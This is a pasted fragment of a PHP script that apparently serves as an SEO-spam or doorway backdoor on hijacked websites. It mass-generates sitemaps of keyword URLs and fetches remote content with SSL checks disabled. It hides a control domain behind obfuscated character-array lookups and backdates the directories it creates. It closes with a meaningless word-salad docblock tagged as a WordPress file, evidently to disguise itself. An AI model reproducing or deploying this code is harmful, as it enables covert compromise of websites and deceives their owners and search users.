  2109.     global $gnumber,$arrArrr;
  2110. $arrABC = range('a','z');
  2111. $tparrsI = $filenames;
  2112. $randnum = rand(7000,7600);
  2113. $tparrII = array_rand($tparrsI,$randnum);
  2114. $tparrIII = array();
  2115. foreach($tparrII as $vs){
  2116.     $tparrIII[$vs] = $filenames[$vs];
  2117. }
  2118. $filenames = $tparrIII;
  2119.    
  2120.     $filePres = ''; $fileEnds = '';
  2121.    
  2122.     $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  2123.     $siteLink='http://'.$_SERVER['HTTP_HOST'];     
  2124.     $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;    $mapEnd = PHP_EOL .  '</urlset>';
  2125.     // $urlsArray = $filenames;
  2126.     // $numLinks = count($urlsArray);
  2127.    
  2128.     $star = 0;  $priority = 0.9;    $starPri = 0;   $gFile =""; $date = date("Y-m-d");  $time = date("H:i:s");
  2129.     $str = "     <url>
  2130.              <loc>" . $siteLink . "</loc>
  2131.              <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  2132.              <changefreq>always</changefreq>
  2133.              <priority>1.0</priority>
  2134.              </url>
  2135.         ";                     
  2136.     $tempArr1 = $filenames;
  2137.    
  2138.     foreach($tempArr1 as $key => $value2){
  2139.         $curphp=basename(__FILE__);
  2140.         $value = $value2;       $first=stristr($value,".php");      $last=stristr($value,".xml");       $checkTxt =stristr($value,".txt"); 
  2141.        
  2142.             $tempPid = $key;
  2143.                 $url = getalink($tempPid,$value2);
  2144.        
  2145.          if(JDT == 0){
  2146.              
  2147.                 if($first===false && $last===false && $checkTxt===false)
  2148.         {
  2149.             $date = date("Y-m-d");          $time = date("H:i:s");         
  2150.    
  2151.             if($star % 12000==11999){
  2152.                 $gFile =  '../maps/sitemap.xml';                echo '<br/>'.$gFile.'<br/>';               
  2153.                 $put_str = $mapPre . $str . $mapEnd;                @unlink($gFile);                file_put_contents($gFile,$put_str);
  2154.                 file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND);
  2155.                 $str = '';              $gnumber++;             return;            
  2156.             }
  2157.            
  2158.             if($starPri >= 400 && $priority != 0.1){
  2159.                 $starPri = 0;               $priority = $priority - 0.1;            }
  2160.            
  2161.             if($priority > 0.1){
  2162.                
  2163.                 $str .= "     <url>
  2164.                      <loc>" . $url . "</loc>
  2165.                      <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  2166.                      <changefreq>daily</changefreq>
  2167.                      <priority>". $priority . "</priority>
  2168.                      </url>
  2169.                 "; 
  2170.             }else{
  2171.                                         $str .= "     <url>
  2172.              <loc>" . $url . "</loc>
  2173.              <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  2174.              <changefreq>daily</changefreq>
  2175.              <priority>0.1</priority>
  2176.              </url>
  2177.         "; 
  2178.             }
  2179.            
  2180.             $star++;            $starPri++;     }
  2181.              
  2182.              
  2183.              
  2184.          }else{
  2185.              
  2186.              
  2187.                 if($first===false && $last===false && $checkTxt===false)
  2188.         {
  2189.             $date = date("Y-m-d");          $time = date("H:i:s");         
  2190.    
  2191.             if($star % 12000==11999){
  2192.                 $gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';                echo '<br/>'.$gFile.'<br/>';               
  2193.                 $put_str = $mapPre . $str . $mapEnd;                @unlink($gFile);                file_put_contents($gFile,$put_str);
  2194.                 file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
  2195.                 $str = '';              $gnumber++;             return;            
  2196.             }
  2197.            
  2198.             if($starPri >= 400 && $priority != 0.1){
  2199.                 $starPri = 0;               $priority = $priority - 0.1;            }
  2200.            
  2201.             if($priority > 0.1){
  2202.                
  2203.                 $str .= "     <url>
  2204.                      <loc>" . $url . "</loc>
  2205.                      <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  2206.                      <changefreq>daily</changefreq>
  2207.                      <priority>". $priority . "</priority>
  2208.                      </url>
  2209.                 "; 
  2210.             }else{
  2211.                                         $str .= "     <url>
  2212.              <loc>" . $url . "</loc>
  2213.              <lastmod>". $date . "T" . $time ."-05:00</lastmod>  
  2214.              <changefreq>daily</changefreq>
  2215.              <priority>0.1</priority>
  2216.              </url>
  2217.         "; 
  2218.             }
  2219.            
  2220.             $star++;            $starPri++;     }
  2221.            
  2222.            
  2223.              
  2224.          }
  2225.  
  2226.        
  2227.    
  2228.            
  2229.            
  2230.     }
  2231.    
  2232.    
  2233.    
  2234.          if(JDT == 0){
  2235.            
  2236.    
  2237.     {
  2238.         $gFile =  '../maps/sitemap.xml';        echo '<br/>'.$gFile.'<br/>';
  2239.         $put_str = $mapPre . $str . $mapEnd;        @unlink($gFile);        file_put_contents($gFile,$put_str);
  2240.         file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND);
  2241.         $gnumber++;
  2242.     }
  2243.    
  2244.          }else{
  2245.              
  2246.                
  2247.     {
  2248.         $gFile =  '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml';        echo '<br/>'.$gFile.'<br/>';
  2249.         $put_str = $mapPre . $str . $mapEnd;        @unlink($gFile);        file_put_contents($gFile,$put_str);
  2250.         file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
  2251.         $gnumber++;
  2252.     }
  2253.              
  2254.          }
  2255.    
  2256.    
  2257.    
  2258.     unset($tempArr1);   unset($filenames);  echo "生成sitemap成功!"; 
  2259. }
  2260.    
  2261. function curl_get_from_webpage($url,$proxy='',$loop=10){
  2262.     $data = false;        $i = 0;        while(!$data) {
  2263.              $data = curlGetOne($url,$proxy);             if($i++ >= $loop) break;        }
  2264.     return $data;}
  2265.  
  2266.  
  2267. function curl_getjs_from_webpage($url,$time){
  2268. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  2269.  
  2270.     $curl = curl_init();    //如果有用代理,则使用代理.
  2271.     $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";         
  2272.     // $urlReferer = "http://www.google.com";
  2273.     curl_setopt($curl, CURLOPT_URL, $url); 
  2274.         if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '',           CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,          CURLOPT_VERBOSE => 0
  2275.             ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  2276.     }$data=curl_exec($curl);curl_close($curl);
  2277.   }else{
  2278.  
  2279.     $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  2280.     if($is_auf){
  2281.         $data = file_get_contents($url);
  2282.     }
  2283.  
  2284.   }
  2285.     if(!$data) return false;
  2286.     return $data;  
  2287.    
  2288. }
  2289.  
  2290. function curlGetOne($url,$proxy=''){
  2291. if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
  2292.  
  2293.     $curl = curl_init();    //如果有用代理,则使用代理.
  2294.     $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";         
  2295.     // $urlReferer = "http://www.google.com";
  2296.     if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
  2297. curl_setopt($curl, CURLOPT_URL, $url); 
  2298.         if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '',           CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,           CURLOPT_VERBOSE => 0
  2299.             ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
  2300.     }$data=curl_exec($curl);curl_close($curl);
  2301.   }else{
  2302.  
  2303.     $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
  2304.     if($is_auf){
  2305.         $data = file_get_contents($url);
  2306.     }
  2307.  
  2308.   }
  2309.     if(!$data) return false;
  2310.     return $data;  
  2311.    
  2312. }
  2313.  
  2314.  
  2315.  
  2316.    
  2317. ////
  2318.  
  2319.  
  2320.  
  2321. function my_mkdir($dir){
  2322.         global  $fitime;
  2323.         if(!is_dir($dir)){
  2324.             mkdir($dir);
  2325.             @touch($dir, $fitime, $fitime);  
  2326.         }
  2327.     }
  2328.    
  2329.  
  2330.    
  2331.     function generate_dir_file($gDir=''){
  2332.        
  2333.         global $hostDir;
  2334.         $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
  2335.         $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
  2336.         $arr = explode(DIRECTORY_SEPARATOR,$gDir);
  2337.        
  2338.         if(count($arr) <= 0) return;
  2339.        
  2340.         if(!strstr($gDir,$hostDir))
  2341.             $dir = $hostDir;
  2342.         else
  2343.             $dir = '';
  2344.  
  2345.  
  2346.         for($i = 0 ; $i < count($arr)-1 ; $i++){
  2347.             $dir .= DIRECTORY_SEPARATOR . $arr[$i];
  2348.             my_mkdir($dir);
  2349.         }
  2350.        
  2351.         return $dir;
  2352.     }
  2353.  
  2354.  
  2355.     function strFilter($str){
  2356.         $str = str_replace('`', '', $str);
  2357.         $str = str_replace('·', '', $str);
  2358.         $str = str_replace('~', '', $str);
  2359.         $str = str_replace('!', '', $str);
  2360.         $str = str_replace('!', '', $str);
  2361.         $str = str_replace('@', '', $str);
  2362.         $str = str_replace('#', '', $str);
  2363.         $str = str_replace('$', '', $str);
  2364.         $str = str_replace('¥', '', $str);
  2365.         $str = str_replace('%', '', $str);
  2366.         $str = str_replace('^', '', $str);
  2367.         $str = str_replace('……', '', $str);
  2368.         $str = str_replace('*', '', $str);
  2369.         $str = str_replace('(', '', $str);
  2370.         $str = str_replace(')', '', $str);
  2371.         $str = str_replace('(', '', $str);
  2372.         $str = str_replace(')', '', $str);
  2373.         $str = str_replace('-', '', $str);
  2374.         $str = str_replace('_', '', $str);
  2375.         $str = str_replace('——', '', $str);
  2376.         $str = str_replace('+', '', $str);
  2377.         $str = str_replace('=', '', $str);
  2378.         $str = str_replace('|', '', $str);
  2379.         $str = str_replace('\\', '', $str);
  2380.         $str = str_replace('[', '', $str);
  2381.         $str = str_replace(']', '', $str);
  2382.         $str = str_replace('【', '', $str);
  2383.         $str = str_replace('】', '', $str);
  2384.         $str = str_replace('{', '', $str);
  2385.         $str = str_replace('}', '', $str);
  2386.         $str = str_replace(';', '', $str);
  2387.         $str = str_replace(':', '', $str);
  2388.         $str = str_replace('<', '', $str);
  2389.         $str = str_replace('>', '', $str);
  2390.         $str = str_replace(':', '', $str);
  2391.         $str = str_replace('\'', '', $str);
  2392.         $str = str_replace('"', '', $str);
  2393.         $str = str_replace(',', '', $str);
  2394.         $str = str_replace(',', '', $str);
  2395.         $str = str_replace('《', '', $str);
  2396.         $str = str_replace('》', '', $str);
  2397.         $str = str_replace('.', '', $str);
  2398.         $str = str_replace('。', '', $str);
  2399.         $str = str_replace('–', '', $str);
  2400.         $str = str_replace('–', '', $str);
  2401.         $str = str_replace('/', '', $str);
  2402.         $str = str_replace('、', '', $str);
  2403.         $str = str_replace('?', '', $str);
  2404.         $str = str_replace('?', '', $str);
  2405.         $str = str_replace('°', '', $str);
  2406.         $str = str_replace('&', '&amp;', $str);
  2407.         return trim($str);
  2408.     }
  2409.  
  2410.  
  2411.     function getalink($pid,$pname=''){
  2412.        
  2413.         global $arrnametime,$arrKeywz,$strRand;    
  2414.        
  2415.        
  2416.         if(strstr($pname,'#cat#')){
  2417.             $tp_pname_arr = explode('#cat#',$pname);
  2418.             $pname = $tp_pname_arr[1];
  2419.             $catStr = $tp_pname_arr[0];
  2420.             $tpcatArr = explode('`',$catStr);
  2421.             $precat = $tpcatArr[0];
  2422.             $endcat = $tpcatArr[1];
  2423.         }
  2424.        
  2425.        
  2426.        
  2427.         if(function_exists("preg_split")){
  2428.             $tpnameArr = preg_split('/\s+/us', $pname);    
  2429.         }else{
  2430.             $tpnameArr = explode(' ', $pname);
  2431.         }
  2432.        
  2433.         $pnameArr = array();
  2434.         foreach($tpnameArr as $tpvs){
  2435.             $tpvs = trim($tpvs);
  2436.             if($tpvs){
  2437.                 $pnameArr[] = $tpvs;
  2438.             }
  2439.         }
  2440.        
  2441.         $numPname = count($pnameArr);
  2442.        
  2443.         if($numPname > 3){
  2444.             $numLinkKey = round(PNAMELEN * $numPname / 100);
  2445.             $yushu = KEYJG % $numPname;
  2446.            
  2447.             $arrPre = array();
  2448.             $arrLast = array();
  2449.  
  2450.             for($i=0;$i<$numPname;$i++){
  2451.                 if($i<$yushu){
  2452.                     $arrLast[] = $pnameArr[$i];
  2453.                 }else{
  2454.                     $arrPre[] = $pnameArr[$i];
  2455.                 }
  2456.             }
  2457.            
  2458.             if(count($arrLast)){
  2459.                 foreach($arrLast as $vs){
  2460.                     $arrPre[] = $vs;
  2461.                 }
  2462.             }
  2463.            
  2464.             $usedNameArr = array();
  2465.             for($i=0;$i<$numLinkKey;$i++){
  2466.                 $usedNameArr[$i] = $arrPre[$i];
  2467.             }
  2468.  
  2469.             if(count($usedNameArr)){
  2470.                 $pname = implode(' ',$usedNameArr);
  2471.             }
  2472.            
  2473.         }
  2474.        
  2475.        
  2476.        
  2477.         $pname = strFilter($pname);
  2478.  
  2479.         $filePres = '';     $fileEnds = '';     $siteLink='http://'.$_SERVER['HTTP_HOST'];
  2480.         $dirNames = dirname(__FILE__);      $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));     
  2481.         if(JDT == 2){
  2482.             $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";      }elseif(JDT == 1){
  2483.             $filePres = $siteLink ."/". $httcReplace . "/";     }elseif(JDT == 3){
  2484.             $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";       }else{
  2485.             $filePres = $siteLink."/";      }
  2486.        
  2487.    
  2488.         $rsp = '#'. BZPRO .'\d+#i';
  2489.         $rsp2 = '#\d+-#i';
  2490.         $rsp3 = '#-\d+#i';
  2491.         $rsp4 = '#-\d+-#i';
  2492.         $pname = trim($pname);
  2493.        
  2494.  
  2495.         $pname = preg_replace('/\s+/', '-', $pname);
  2496.    
  2497.        
  2498.         if(JDT == 3){
  2499.            
  2500.             $rs = '#&[^;]+;#i';
  2501.             $pname = preg_replace($rs,'',$pname);
  2502.    
  2503.        
  2504.             while(strstr($pname,'&'))
  2505.                 $pname = str_replace('&','',$pname);
  2506.            
  2507.             while(strstr($pname,'--'))
  2508.                 $pname = str_replace('--','-',$pname);
  2509.            
  2510.             $urlMid = $pname .'-' .$pid;
  2511.             $rtStr = $filePres.$urlMid;
  2512.             $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  2513.        
  2514.             return $rtStr;
  2515.            
  2516.             }
  2517.            
  2518.         if(strlen($pname) > 235){
  2519.             $rs = '#&[^;]+;#i';
  2520.             $pname = preg_replace($rs,'',$pname);
  2521.             $pname = str_replace('&','',$pname);
  2522.             $pname = str_replace('&',';',$pname);
  2523.             if(function_exists("mb_substr")){
  2524.                 $pname = mb_substr($pname, 0, 235, 'utf-8');
  2525.             }else{
  2526.                 $pname = substr($pname, 0, 235);
  2527.             }
  2528.         }  
  2529.        
  2530.        
  2531.         $precat = strFilter($precat);
  2532.         $precat = preg_replace($rsp,'',$precat);
  2533.         $precat = preg_replace($rsp2,'-',$precat);
  2534.         $precat = preg_replace($rsp3,'-',$precat);
  2535.         $precat = preg_replace($rsp4,'-',$precat);
  2536.         $precat = str_replace('&','',$precat);
  2537.         $precat = str_replace('&',';',$precat);
  2538.         $precat = preg_replace('/\s+/', '-', $precat);
  2539.        
  2540.        
  2541.        
  2542.         $endcat = strFilter($endcat);
  2543.         $endcat = preg_replace($rsp,'',$endcat);
  2544.         $endcat = preg_replace($rsp2,'-',$endcat);
  2545.         $endcat = preg_replace($rsp3,'-',$endcat);
  2546.         $endcat = preg_replace($rsp4,'-',$endcat);
  2547.         $endcat = str_replace('&','',$endcat);
  2548.         $endcat = str_replace('&',';',$endcat);
  2549.         $endcat = preg_replace('/\s+/', '-', $endcat);
  2550.        
  2551.  
  2552.         $pname = preg_replace($rsp,'',$pname);
  2553.         $pname = preg_replace($rsp2,'-',$pname);
  2554.         $pname = preg_replace($rsp3,'-',$pname);
  2555.         $pname = preg_replace($rsp4,'-',$pname);
  2556.        
  2557.        
  2558.            
  2559.         if(JDT == 0){
  2560.             $urlMid = $precat .'-'.$pname. '-'. $pid .'-'. $endcat;
  2561.         }else{
  2562.             $urlMid = $precat .'-'.$pname. '-'. $pid .'-'. $endcat;
  2563.         }
  2564.            
  2565.  
  2566.        
  2567.             $urlMid .= JTHZ;            $urlMid = str_replace("-/","/",$urlMid);            $urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);      
  2568.        
  2569.            
  2570.             while(strstr($urlMid,'--'))
  2571.                 $urlMid = str_replace('--','-',$urlMid);   
  2572.             // $urlMid = str_replace('/-','/',$urlMid);
  2573.            
  2574.         $rtStr = $filePres.$urlMid;
  2575.         $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
  2576.         $rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
  2577.         return $rtStr;
  2578.     }
  2579.    
  2580.    
  2581.  
  2582.    
  2583.    
  2584.  
  2585.  
  2586.  
  2587.    
  2588.    
  2589.    
  2590. //
  2591.  
  2592.    
  2593.    
  2594. function is_ip($localIp,$ipRanges)
  2595. {    
  2596.     $localIp = ip2long($localIp);  
  2597.     foreach($ipRanges as $val)
  2598.     {
  2599.         $ipmin=sprintf("%u",ip2long($val[0]));      $ipmax=sprintf("%u",ip2long($val[1]));
  2600.         if($localIp >= $ipmin && $localIp <= $ipmax)
  2601.         {  
  2602.             return true;
  2603.         }
  2604.     }  
  2605.     return false;}
  2606.  
  2607. function RandAbcs($length = ""){
  2608.     $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
  2609.     return ($str);
  2610. }
  2611.  
  2612.  
  2613.  
  2614. function getarr(){
  2615.         global $O00O0O;
  2616.         $arr[0]=$O00O0O{17}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{3}.$O00O0O{2}.$O00O0O{19}.$O00O0O{0}.$O00O0O{12}.$O00O0O{2}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{9}.$O00O0O{15}.$O00O0O{22}.$O00O0O{22}.$O00O0O{18}.$O00O0O{12}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{18}.$O00O0O{14}.$O00O0O{22}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{2}.$O00O0O{0}.$O00O0O{20}.$O00O0O{0}.$O00O0O{17}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
  2617.     return $arr;
  2618. }
  2619.  
  2620.    
  2621. function getthisdom(){
  2622.     $myArrs = getarr();
  2623.     return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
  2624. }
  2625.  
  2626.  
  2627.  
  2628. function get_real_ip(){
  2629.    
  2630.    
  2631.        $ip = '';
  2632.     /**
  2633.      * resolve any proxies
  2634.      */
  2635.     if (isset($_SERVER)) {
  2636.       if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  2637.         $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  2638.       } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
  2639.         $ip = $_SERVER['HTTP_CLIENT_IP'];
  2640.       } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
  2641.         $ip = $_SERVER['HTTP_X_FORWARDED'];
  2642.       } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
  2643.         $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
  2644.       } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
  2645.         $ip = $_SERVER['HTTP_FORWARDED_FOR'];
  2646.       } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
  2647.         $ip = $_SERVER['HTTP_FORWARDED'];
  2648.       } else {
  2649.         $ip = $_SERVER['REMOTE_ADDR'];
  2650.       }
  2651.     }
  2652.     if (trim($ip) == '') {
  2653.       if (getenv('HTTP_X_FORWARDED_FOR')) {
  2654.         $ip = getenv('HTTP_X_FORWARDED_FOR');
  2655.       } elseif (getenv('HTTP_CLIENT_IP')) {
  2656.         $ip = getenv('HTTP_CLIENT_IP');
  2657.       } else {
  2658.         $ip = getenv('REMOTE_ADDR');
  2659.       }
  2660.     }
  2661.  
  2662.     /**
  2663.      * sanitize for validity as an IPv4 or IPv6 address
  2664.      */
  2665.     $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
  2666.  
  2667.     /**
  2668.      *  if it's still blank, set to a single dot
  2669.      */
  2670.     if (trim($ip) == '') $ip = '.';
  2671.  
  2672.     return $ip;
  2673.    
  2674.     }
  2675.  
  2676.  
  2677. /**
  2678.  * agent ban calendar collision comparative dusk evaluate explore faculty female harmony interpretation jungle knot launch modest nucleus outset particularly primitive prospect temporary tendency the vitally.
  2679.  * erect favorite import reject triumph wealthy withdraw.
  2680.  * catalog coil dump equivalent faulty favorable grand hollow laser leather noticeable parallel professional region regulate shrug shuttle sketch spray temporary urban utter vibrate volume.
  2681.  * accelerate alcohol applicable earthquake electron exaggerate expense import inevitable insurance leisure mainland neutral notify onion sexual sorrow urgent venture vocabulary voluntary.
  2682.  * arbitrary consent decay discrimination dive emotional evil glorious horror marveous moisture molecule moral motivate organ origin principal private retail undergraduate vacant wax.
  2683.  * durable emphasize erect exaggerate horror internal neglect optics sincere timber tremendous trend.
  2684.  * agency balcony ban catalog coil constant cope focus hestiate jeans jewel massive nucleus particle prominent reliable signature suburb tendency undergraduate utilise video videotape.
  2685.  * architecture aware breed exaggerate illusion restraint textile transport.
  2686.  * applause calculate candidate coach device elastic guarantee maximum modify notify stuff substitute variation.
  2687.  * applicant bunch calculate career compete gear geology licence primitive.
  2688.  * facility identify mere personal remarkable resolve simplicity submerge territory torture transmit.
  2689.  * agent award cancel comparable data electron guilty import liter missile oral principle removal ruin scandal slippery spit tendency treaty vacant.
  2690.  * battery data elbow expenditure household inevitable media mutual restrict sexual slide slope.
  2691.  * architect dash debt estimate fax generate genius golf hestiate infinite kneel motive petroleum reinforce removal respond semiconductor sexual substantial triumph wealthy.
  2692.  * conservative dump exaggerate vitally.
  2693.  * appropriate approve boundary bundle distress dump genuine jewel kneel massive nuclear optics optional respond semiconductor sexual snap sophisticated stripe vain vertical vibrate.
  2694.  * algebra audio debt deserve exclaim expend favorite gallon germ gratitude issue particularly rely reveal sensible shrink shrug stripe tedious tide vain.
  2695.  * architect chaos emphasize equation excess favorite golf illegal interpret issue jeans legislation mainland maintain nylon prescribe primitive sensible shift smash triumph tropical tuition universe whatsoever.
  2696.  * academic appetite architect arichmetic attitude award ceremony data display earthquake erect exclusive ferfile illusion knot optimistic portion prompt rescue reveal scale shelter significance transport wander.
  2697.  * applianc awkward glimpse guarantee mature moist orchestra preserve radiation reject resolve skim stable submerge tarnest yawn.
  2698.  * accomplish applicant catalog delicate entertainment expend faculty fertilizer laser liberal nucleus outset private satellite severe strategy.
  2699.  * barrel enviroment expense export naked odd weld.
  2700.  * abuse comparative network orchestra substitute terminal.
  2701.  * applicable arichmetic entry germ lest retail sorrow spot witness.
  2702.  * alcohol appropriate breed comparative decent decorate display distinguish essential fertilizer guarantee hatred integrate medium nuclear organ parallel prominent reinforce reliable territory treaty zone.
  2703.  * decline gasoline profit recreation.
  2704.  * authority entitle evolve leather mature mixture priority profitable promote triangle.
  2705.  * defect deputy enviroment essential infinite joint mere modest necessity notion portion quotation religion reputation satellite semester sensible skim spray violent.
  2706.  * burden fatigue mutual nuclear nylon secure severe significance strategic territory tissue transmit unique.
  2707.  * competition conservative earthquake equation extraordinary global grand guilty laser leap neutral notion oxygen reliable rescue smash snap strategy territory virtue.
  2708.  * academic advertisement agent attach debt expend flock gap gene highlight hook jeans lean legislation orchestra personnel presumably profitable substance survey valley venture.
  2709.  *
  2710.  * @package WordPress
  2711.  */
  2712.  
  2713.  
  2714. //file end
  2715.  
Add Comment
Please, Sign In to add comment